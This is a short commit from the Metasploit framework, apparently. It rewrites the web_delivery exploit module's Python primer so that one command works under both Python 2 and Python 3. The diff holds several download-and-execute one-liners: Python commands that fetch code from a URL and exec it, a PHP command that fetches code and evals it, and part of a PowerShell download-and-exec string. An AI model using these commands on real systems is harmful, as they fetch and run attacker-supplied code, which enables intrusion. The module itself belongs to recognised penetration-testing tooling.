Support both Python 2 and Python 3 in one line

Tested on:

* Python 2.7.13 on Windows
* Python 3.5.3 on Windows

Author: wchen-r7

modules/exploits/multi/script/web_delivery.rb

@@ -86,10 +86,8 @@ def primer
     when 'PHP'
       print_line("php -d allow_url_fopen=true -r \"eval(file_get_contents('#{url}'));\"")
     when 'Python'
-      print_line("python 2:")
-      print_line("python -c \"import urllib2; r = urllib2.urlopen('#{url}'); exec(r.read());\"")
-      print_line("Python 3:")
-      print_line("python3 -c \"import urllib.request; r = urllib.request.urlopen('#{url}'); exec(r.read());\"")
+      print_line('Python:')
+      print_line("python -c \"import sys; u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('#{url}');exec(r.read());\"")
     when 'PSH'
       ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl
       download_string = Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)